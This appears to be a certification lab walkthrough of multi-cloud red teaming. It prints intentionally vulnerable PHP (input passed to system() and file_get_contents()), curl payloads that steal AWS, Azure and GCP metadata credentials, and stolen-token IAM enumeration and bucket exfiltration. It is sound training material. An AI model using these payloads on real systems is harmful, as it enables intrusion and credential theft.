July 14, 2026
MCRTA Exam Walkthrough — Breaking Into AWS, Azure & GCP
A hands-on journey through AWS, Azure, and GCP red teaming — SSRF, RCE, IAM privilege mapping, and cloud metadata abuse.

By Farid Narimanov
10 min read
Introduction
CyberWarfare Labs' MCRTA (Multi-Cloud Red Team Analyst) certification is a practical, exam-style engagement that spans all three major cloud providers — AWS, Azure, and GCP. Unlike single-cloud certifications, MCRTA forces you to chain together recon, web exploitation, and cloud IAM enumeration across completely different ecosystems, each with its own metadata service, identity model, and CLI tooling.
The exam is broken into three modules, each simulating a compromised organization's cloud footprint:
- Module 1 — AWS Cloud Red Teaming: S3 bucket discovery, SSRF/RCE in a vulnerable dev EC2 instance, IAM credential theft via instance metadata, and privilege mapping across users, groups, and roles.
- Module 2 — Azure Cloud Red Teaming: Subdomain discovery, Azure VM metadata abuse for JWT tokens, subscription/tenant enumeration via PowerShell's Az module, and Microsoft Graph API queries for AAD objects.
- Module 3 — GCP Cloud Red Teaming: GitHub secret leakage hunting, service account key recovery, compute instance enumeration, and GCP IAM/Storage privilege escalation.
Across all three modules, the core theme is the same: a single SSRF/RCE vulnerability in a "URL Score Calculator" web app becomes the pivot point into the cloud provider's metadata service, and from there, into the full IAM graph of the organization.
Below is my full methodology — every technique and command I used, without spoiling the exact flag values (per CWL's exam policy). If you're preparing for MCRTA, use this as a technique reference, not an answer key.
Module 1 — AWS Cloud Red Teaming
Recon: Finding the S3 Bucket
The engagement started with just an organization name: cwl-metatech. To enumerate cloud storage tied to this name, I used cloud_enum, a multi-cloud OSINT tool that brute-forces bucket/storage naming patterns across AWS, Azure, and GCP simultaneously.
Since I only needed AWS at this stage, I disabled the other providers and bumped up the thread count for speed:
cloud_enum -k cwl-metatech -t 50 --disable-azure --disable-gcpcloud_enum -k cwl-metatech -t 50 --disable-azure --disable-gcpThis returned a protected (private, but existing) S3 bucket. A protected bucket still leaks its name and URL even though you can't list its contents directly — which is enough to keep pivoting.
Finding the Dev Server
Inside/adjacent to the discovered bucket, I found a text file referencing a dev server IP. Following that lead gave me the IP of a vulnerable dev EC2 instance running a small PHP web app called the "URL Score Calculator" — a form that accepts a URL, date, IP, and organization name, and returns a "score."
Finding the Git Leak
Before blindly fuzzing parameters, I checked for an exposed .git directory on the dev server — a classic recon step that's saved me countless hours in past engagements. It was exposed, so I dumped the entire repo:
pip3 install git-dumper --break-system-packages
mkdir /tmp/gitdump
git-dumper http://<DEV_SERVER_IP>/.git /tmp/gitdumppip3 install git-dumper --break-system-packages
mkdir /tmp/gitdump
git-dumper http://<DEV_SERVER_IP>/.git /tmp/gitdumpReading the dumped process.php immediately revealed two vulnerabilities stacked in the same endpoint:
<?php
// SSRF Vulnerability
$ip = $_POST['ip'];
$content = file_get_contents($ip);
// RCE Vulnerability
$org = $_POST['organization'];
$org_output = system($org);
// Response Output
echo $org_output, $content;
?><?php
// SSRF Vulnerability
$ip = $_POST['ip'];
$content = file_get_contents($ip);
// RCE Vulnerability
$org = $_POST['organization'];
$org_output = system($org);
// Response Output
echo $org_output, $content;
?>- The
ipparameter is passed unsanitized intofile_get_contents()→ classic SSRF. - The
organizationparameter is passed unsanitized intosystem()→ full RCE.
No whitelist, no filtering — this was about as direct as it gets. This single discovery collapsed what could have been hours of blind fuzzing into a known, weaponizable vulnerability chain.
Stealing EC2 IAM Credentials
With RCE confirmed, I used the AWS Instance Metadata Service (IMDS) endpoint (169.254.169.254) — accessible only from inside the EC2 instance — to enumerate and steal the attached IAM role's temporary credentials.
Step 1 — Get the attached role name:
curl -s -X POST "http://<DEV_SERVER_IP>/process.php" \
-d "url=x&date=2024-01-01" \
--data-urlencode "ip=http://169.254.169.254/latest/meta-data/iam/security-credentials/"curl -s -X POST "http://<DEV_SERVER_IP>/process.php" \
-d "url=x&date=2024-01-01" \
--data-urlencode "ip=http://169.254.169.254/latest/meta-data/iam/security-credentials/"Step 2 — Pull the temporary credentials for that role:
curl -s -X POST "http://<DEV_SERVER_IP>/process.php" \
-d "url=x&date=2024-01-01" \
--data-urlencode "ip=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"curl -s -X POST "http://<DEV_SERVER_IP>/process.php" \
-d "url=x&date=2024-01-01" \
--data-urlencode "ip=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"The response is a JSON blob with AccessKeyId, SecretAccessKey, and Token. I exported these into my shell to authenticate the AWS CLI as the compromised EC2 role:
export AWS_ACCESS_KEY_ID="<ACCESS_KEY_ID>"
export AWS_SECRET_ACCESS_KEY="<SECRET_ACCESS_KEY>"
export AWS_SESSION_TOKEN="<SESSION_TOKEN>"
export AWS_DEFAULT_REGION="us-east-2"export AWS_ACCESS_KEY_ID="<ACCESS_KEY_ID>"
export AWS_SECRET_ACCESS_KEY="<SECRET_ACCESS_KEY>"
export AWS_SESSION_TOKEN="<SESSION_TOKEN>"
export AWS_DEFAULT_REGION="us-east-2"Mapping the IAM Graph
With a foothold as the EC2 role, I started walking the IAM tree — users, groups, and roles — to understand the blast radius of this compromise.
Enumerate group membership:
aws iam get-group --group-name <GROUP_NAME>
aws iam list-groups-for-user --user-name <USER_NAME>aws iam get-group --group-name <GROUP_NAME>
aws iam list-groups-for-user --user-name <USER_NAME>Enumerate role trust relationships (who can assume what):
aws iam get-role --role-name <ROLE_NAME>aws iam get-role --role-name <ROLE_NAME>The AssumeRolePolicyDocument in the response is the role's trust policy — it shows exactly which principal (user, role, or service) is allowed to assume it. This is how I traced a cross-account trust relationship (an external AWS account's user allowed to assume a role in this account) and an internal role-to-role trust chain (devops-role → dev-role).
Enumerate all roles at once, with trust policies inline:
aws iam list-rolesaws iam list-rolesEnumerate inline policies on a user:
aws iam list-user-policies --user-name <USER_NAME>aws iam list-user-policies --user-name <USER_NAME>Inline policies are embedded directly into a single user/role/group and can't be reused elsewhere — as opposed to managed policies, which exist independently and can be attached to multiple identities.
Enumerate managed policies attached to a group:
aws iam list-attached-group-policies --group-name <GROUP_NAME>aws iam list-attached-group-policies --group-name <GROUP_NAME>Data Exfiltration
Finally, the discovered S3 bucket contained a prod-data.txt file with sensitive customer data — accessible directly via its public URL since the bucket allowed anonymous reads on that specific object.
Module 1 techniques recap: cloud_enum for bucket discovery → .git leak → source code review revealing SSRF+RCE → IMDS credential theft via RCE → IAM trust policy mapping → S3 data exposure.
Module 2 — Azure Cloud Red Teaming
Subdomain Discovery
This module started with just an organization domain: meta-tech.cloud. To find Azure-hosted subdomains, I ran a subdomain brute-force against the domain:
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u http://FUZZ.meta-tech.cloudffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u http://FUZZ.meta-tech.cloudThis surfaced an internal-facing subdomain hosting a VM in Azure — running, unsurprisingly, the exact same vulnerable "URL Score Calculator" PHP app from Module 1, with the same RCE in the organization parameter.
Azure IMDS and JWT Tokens
Azure's metadata service lives at the same 169.254.169.254 address as AWS, but with a completely different API shape and an required header: Metadata: true. Since file_get_contents() (the SSRF sink) can't set custom headers, I had to route through the RCE in organization instead, using curl to add the header manually:
curl -s -X POST "http://<AZURE_SUBDOMAIN>/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode "organization=curl -s -H 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'"curl -s -X POST "http://<AZURE_SUBDOMAIN>/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode "organization=curl -s -H 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'"This returned an OAuth2 access token — a JWT — scoped to https://management.azure.com/ (the Azure Resource Manager API), belonging to the VM's managed identity.
Decoding the JWT
I decoded the JWT payload using jwt.io (pasting only the token itself — no server round-trip needed since JWT payloads are just base64). A JWT is structured as header.payload.signature, each part base64-encoded, which is why the token string is so long.
Key claims in the payload told me almost everything about the tenant without a single additional API call:
iss(issuer) — the Security Token Service (STS) URL that issued the token:https://sts.windows.net/<TENANT_ID>/tid(tenant ID) — the Azure AD tenant's unique identifier, functionally equivalent to an AWS Account IDoid(object ID) — the VM's managed identity's unique ID in Azure ADxms_mirid— the full Azure Resource Manager path of the VM, embedding the Subscription ID, resource group, and VM name in one string
Authenticating with PowerShell (Az Module)
Azure's richest tooling lives in PowerShell (Connect-AzAccount, Get-AzRoleAssignment, etc.), which is only available via the Az PowerShell module — not the az CLI. Since Kali ships PowerShell (pwsh), I dropped into it and authenticated directly with the stolen access token, no password needed:
$token = "<ACCESS_TOKEN>"
Connect-AzAccount -AccessToken $token -AccountId "<VM_OBJECT_ID>"$token = "<ACCESS_TOKEN>"
Connect-AzAccount -AccessToken $token -AccountId "<VM_OBJECT_ID>"From there, I confirmed the subscription context:
Get-AzSubscriptionGet-AzSubscriptionMapping Azure RBAC
Subscription-level role assigned to the VM's managed identity:
Get-AzRoleAssignment -ObjectId <VM_OBJECT_ID>Get-AzRoleAssignment -ObjectId <VM_OBJECT_ID>Azure's built-in role definition IDs are static GUIDs — the same across every tenant globally (e.g. the Reader role always has the same ID) — so once you recognize a few common ones, you can identify roles without a lookup.
Scope of a custom role assignment:
Get-AzRoleAssignment | Where-Object {$_.RoleDefinitionName -eq "<CUSTOM_ROLE_NAME>"}Get-AzRoleAssignment | Where-Object {$_.RoleDefinitionName -eq "<CUSTOM_ROLE_NAME>"}The Scope field shows exactly where in the resource hierarchy (subscription → resource group → resource) the role applies — in this case, scoped down to a single VM resource, not the whole subscription.
Actions permitted by that custom role:
(Get-AzRoleDefinition -Name "<CUSTOM_ROLE_NAME>").Permissions[0].Actions(Get-AzRoleDefinition -Name "<CUSTOM_ROLE_NAME>").Permissions[0].Actions(Note: newer Az module versions deprecate the flattened .Actions property directly on the role object in favor of .Permissions[n].Actions — the module throws a breaking-change warning but still returns correct data.)
Pivoting to Microsoft Graph
Azure Resource Manager and Microsoft Graph are separate APIs with separate token audiences — a management.azure.com token will not authenticate against Graph. To query Azure AD group membership and application objects, I had to request a second token, scoped specifically to Graph, via the same RCE:
curl -s -X POST "http://<AZURE_SUBDOMAIN>/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode "organization=curl -s -H 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/'"curl -s -X POST "http://<AZURE_SUBDOMAIN>/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode "organization=curl -s -H 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/'"Then connected to Microsoft Graph PowerShell SDK with that token:
$graphToken = "<GRAPH_ACCESS_TOKEN>"
Connect-MgGraph -AccessToken ($graphToken | ConvertTo-SecureString -AsPlainText -Force)$graphToken = "<GRAPH_ACCESS_TOKEN>"
Connect-MgGraph -AccessToken ($graphToken | ConvertTo-SecureString -AsPlainText -Force)Enumerate group membership (e.g., finding who's in a specific AAD group):
Get-MgGroup | Where-Object {$_.DisplayName -eq "<GROUP_NAME>"}
Get-MgGroupMember -GroupId "<GROUP_ID>" | ConvertTo-JsonGet-MgGroup | Where-Object {$_.DisplayName -eq "<GROUP_NAME>"}
Get-MgGroupMember -GroupId "<GROUP_ID>" | ConvertTo-JsonEnumerate application ownership:
Get-MgApplication | Where-Object {$_.DisplayName -eq "<APP_NAME>"}
Get-MgApplicationOwner -ApplicationId "<APP_OBJECT_ID>" | ConvertTo-JsonGet-MgApplication | Where-Object {$_.DisplayName -eq "<APP_NAME>"}
Get-MgApplicationOwner -ApplicationId "<APP_OBJECT_ID>" | ConvertTo-JsonEnumerate Microsoft Graph API permissions requested by an app registration:
$app = Get-MgApplication -ApplicationId "<APP_OBJECT_ID>"
$app.RequiredResourceAccess | ConvertTo-Json$app = Get-MgApplication -ApplicationId "<APP_OBJECT_ID>"
$app.RequiredResourceAccess | ConvertTo-JsonThis returns permission GUIDs, not names — ResourceAppId: 00000003-0000-0000-c000-000000000000 is always Microsoft Graph itself. To resolve a permission GUID to a human-readable name and description, I queried Graph's own service principal:
$res = Get-MgServicePrincipal -Filter "DisplayName eq 'Microsoft Graph'"
$res.AppRoles | Where-Object {$_.Id -eq "<PERMISSION_ID>"} | ConvertTo-Json$res = Get-MgServicePrincipal -Filter "DisplayName eq 'Microsoft Graph'"
$res.AppRoles | Where-Object {$_.Id -eq "<PERMISSION_ID>"} | ConvertTo-JsonThis returned the permission's Value (e.g., a User.Read.All-style Graph permission) along with a plain-English description of what the app is allowed to do — critical for understanding whether an app registration is over-privileged.
Module 2 techniques recap: Subdomain fuzzing → RCE-driven Azure IMDS token theft (management.azure.com scope) → JWT decoding for tenant/subscription/identity context → PowerShell Az module authentication with a stolen token → RBAC role & custom role enumeration → second RCE-driven token theft (graph.microsoft.com scope) → Microsoft Graph queries for AAD groups, app ownership, and API permissions.
Module 3 — GCP Cloud Red Teaming
GitHub Secret Hunting
This module opened with pure OSINT: find a leaked GCP service account key belonging to the cwl-metatech GitHub organization. GitHub's code search supports scoping by organization, so I searched:
org:cwl-metatech service account keyorg:cwl-metatech service account keyvia the code search UI (https://github.com/search?q=org:cwl-metatech+service+account+key&type=code). This surfaced a pipeline.yml file — a CI/CD pipeline configuration — in a repo under the organization. CI/CD configs are a notoriously common place for hardcoded secrets, since developers often paste credentials in "temporarily" during pipeline debugging and forget to remove them before committing.
Inside the YAML, a step echoed out a base64-encoded string labeled as an "encrypted GCP SA key" (in reality it was just base64, not actually encrypted).
Decoding the Service Account Key
Base64 is not encryption — decoding it revealed a full GCP service account JSON key:
echo "<BASE64_BLOB>" | base64 -d > dev-sa-key.jsonecho "<BASE64_BLOB>" | base64 -d > dev-sa-key.jsonThe decoded JSON included the standard GCP service account fields: type, project_id, private_key, client_email, etc.
The project ID is embedded directly in the client_email field, following GCP's standard service account naming convention:
<service-account-name>@<project-id>.iam.gserviceaccount.com<service-account-name>@<project-id>.iam.gserviceaccount.comAuthenticating to GCP
With the key file in hand, I installed the Google Cloud SDK and authenticated as the leaked service account:
curl https://sdk.cloud.google.com | bash
exec -l $SHELL
gcloud auth activate-service-account --key-file=dev-sa-key.jsoncurl https://sdk.cloud.google.com | bash
exec -l $SHELL
gcloud auth activate-service-account --key-file=dev-sa-key.jsonEnumerating Compute Instances
gcloud compute instances list --project <PROJECT_ID>gcloud compute instances list --project <PROJECT_ID>This returned a running compute instance with both an internal and external IP — and, once again, the same vulnerable "URL Score Calculator" PHP app was hosted on it.
GCP Metadata Abuse via RCE
Like AWS and Azure, GCP has its own metadata service at 169.254.169.254, gated behind a required header: Metadata-Flavor: Google. Since the target instance's web app had the same RCE-in-organization pattern, I used the identical technique from Modules 1 and 2 — routing through curl via RCE instead of the raw SSRF sink, to set the required header:
List service accounts attached to the instance:
curl -s -X POST "http://<GCP_INSTANCE_IP>/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode "organization=curl -s -H 'Metadata-Flavor: Google' 'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/'"curl -s -X POST "http://<GCP_INSTANCE_IP>/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode "organization=curl -s -H 'Metadata-Flavor: Google' 'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/'"Steal an OAuth2 access token for the instance's attached service account:
curl -s -X POST "http://<GCP_INSTANCE_IP>/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode "organization=curl -s -H 'Metadata-Flavor: Google' 'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'"curl -s -X POST "http://<GCP_INSTANCE_IP>/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode "organization=curl -s -H 'Metadata-Flavor: Google' 'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'"Pivoting with the Stolen Token
The initial leaked dev-service-account key didn't have permission to query IAM policy directly. But the instance's own attached service account (obtained via metadata SSRF/RCE) did. To use this token with gcloud without going through a full gcloud auth login flow, I set it as an environment variable that gcloud reads directly:
export CLOUDSDK_AUTH_ACCESS_TOKEN="<STOLEN_ACCESS_TOKEN>"
gcloud projects get-iam-policy <PROJECT_ID>export CLOUDSDK_AUTH_ACCESS_TOKEN="<STOLEN_ACCESS_TOKEN>"
gcloud projects get-iam-policy <PROJECT_ID>This dumped the entire project-level IAM policy — every service account, every role binding — in one call. From this single output I could answer several exam questions at once:
- Which service account holds a specific custom role (identified by prefix, e.g. a
VMRead*-style naming pattern) - What that custom role actually grants, via:
gcloud iam roles describe <ROLE_NAME> --project <PROJECT_ID>gcloud iam roles describe <ROLE_NAME> --project <PROJECT_ID>Resource-Level vs Project-Level IAM
GCP allows binding IAM policies at the individual resource level, separate from (and potentially different from) project-level bindings — the same layered-permission model I saw in Azure's scope-based RBAC. To check what the leaked dev-service-account could specifically do on the compute instance itself (as opposed to project-wide):
gcloud compute instances get-iam-policy <INSTANCE_NAME> \
--zone <ZONE> \
--project <PROJECT_ID>gcloud compute instances get-iam-policy <INSTANCE_NAME> \
--zone <ZONE> \
--project <PROJECT_ID>Storage Enumeration and Exfiltration
Finally, using the instance's service account permissions, I listed accessible Cloud Storage buckets:
gcloud storage ls --project <PROJECT_ID>gcloud storage ls --project <PROJECT_ID>And pulled down the contents of the discovered bucket:
gcloud storage cp gs://<BUCKET_NAME>/ . --recursive
cat <DOWNLOADED_FILE>gcloud storage cp gs://<BUCKET_NAME>/ . --recursive
cat <DOWNLOADED_FILE>This bucket contained a sensitive license key file — the final piece of data in the chain.
Module 3 techniques recap: GitHub org-scoped code search for leaked secrets → base64-decoded GCP service account key → gcloud authentication with a stolen key → compute instance enumeration → RCE-driven GCP metadata token theft (mirroring the AWS/Azure pattern) → environment-variable token injection into gcloud → project-level and instance-level IAM policy analysis → Cloud Storage bucket enumeration and download.
Closing Thoughts
What made MCRTA click for me was realizing how consistent the attack pattern is across all three clouds, even though the tooling and terminology differ wildly:
Concept AWS Azure GCP Metadata endpoint 169.254.169.254 169.254.169.254 169.254.169.254 Required header none Metadata: true Metadata-Flavor: Google Identity service IAM Azure AD / Entra ID Cloud IAM Compute identity Instance Profile / Role Managed Identity Attached Service Account CLI aws az / PowerShell Az module gcloud
The same underlying SSRF/RCE vulnerability, deployed nearly identically on all three cloud providers, was enough to demonstrate the entire kill chain: web app compromise → metadata service abuse → credential theft → IAM graph traversal → data exfiltration. That repetition wasn't a coincidence — it was the exam's way of proving that once you understand the metadata-to-IAM pivot conceptually, it transfers directly across providers, regardless of vendor-specific syntax.
If you're studying for MCRTA: get comfortable with curl against metadata services, learn to read IAM/RBAC trust relationships as directed graphs (who can assume/access what), and don't sleep on PowerShell — Azure's ecosystem genuinely expects it.
Certified as of July 2026.